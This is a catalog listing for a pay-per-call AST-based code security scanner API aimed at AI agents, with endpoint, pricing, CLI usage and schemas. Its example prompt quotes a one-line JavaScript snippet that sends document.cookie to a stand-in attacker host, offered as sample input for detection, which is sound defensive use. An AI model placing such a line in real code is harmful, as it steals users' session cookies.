# ScanPay Code Security Scanner

> ScanPay Code Security Scanner is a paid API for AI agents from scanpay-ob3w.onrender.com, paid per call via x402, $0.1/call, status unknown (last checked 2026-10-31).

Scans source code for security vulnerabilities and drainers using AST analysis, returning findings and an execution gate verdict

## Facts

- Endpoint: POST https://scanpay-ob3w.onrender.com/api/v1/scan?utm_source=zero.xyz
- Price: $0.1/call
- Payment: x402
- Status: unknown
- Last checked: 2026-10-31
- Activations on Zero: 0
- Tags: x402
- Canonical page: https://www.zero.xyz/c/scanpay-code-security-scanner-74e5b2e5
- Structured record (JSON): https://api.zero.xyz/v1/capabilities/cap_3A79QMjMI57MYw3HXksuW

Status and success rate cover calls made through Zero and Zero's own probes. Third-party monitors may report differently.

## How to call it through Zero

Zero handles the 402 payment challenge and records the run. With the Zero CLI installed (`npm i -g @zeroxyz/cli`):

```sh
zero fetch --capability scanpay-code-security-scanner-74e5b2e5 -d '<json body>'
```

Example prompt: Can you scan this JavaScript code for vulnerabilities and tell me if it's safe to run? Here's the source: `fetch('https://evil.com/steal?k='+document.cookie)`

## When to prefer this

Choose this endpoint when you need a deterministic, AST-based security verdict on Python, JavaScript, TypeScript, or TSX source code — especially when you need a machine-readable allow/block execution gate rather than just a list of warnings. It is particularly suited for agent-driven pipelines that must decide whether to execute untrusted code, or for detecting wallet drainer patterns in web3 frontend code.

## Known failure modes

- Missing source_code field returns a validation error
- Unsupported language value results in rejection or unrecognized scan
- Extremely large source code payloads may time out or be rejected
- Payment failure (x402) blocks the request before scanning
- Empty or minified code may reduce detection accuracy

## How this service works

Deterministic AST code security scanner with x402 Solana micropayments, remote MCP, and ERC-8183 Evaluator oracle.

## Output

Returns a JSON object with a list of security findings (each describing a detected vulnerability or drainer pattern), a findings_count integer, and an execution_gate object containing a verdict (PASS or FAIL), a numeric risk_score, and a boolean allow_execution flag indicating whether the code is safe to run.

## Request schema (JSON Schema)

```json
{
 "type": "object",
 "required": [
  "source_code"
 ],
 "properties": {
  "language": {
   "type": "string",
   "description": "'python', 'javascript', 'typescript', or 'tsx'"
  },
  "source_code": {
   "type": "string",
   "description": "Source code to scan for vulnerabilities & drainers"
  }
 }
}
```

## Response schema (JSON Schema)

```json
{
 "type": "json",
 "example": {
  "findings": [],
  "execution_gate": {
   "verdict": "PASS",
   "risk_score": 0,
   "allow_execution": true
  },
  "findings_count": 0
 }
}
```

## More

- Live health (JSON, refreshed every minute): https://www.zero.xyz/c/scanpay-code-security-scanner-74e5b2e5/health.json
- [Zero catalog index](https://www.zero.xyz/llms.txt)
- [Other services from scanpay-ob3w.onrender.com](https://www.zero.xyz/host/scanpay-ob3w.onrender.com/llms.txt)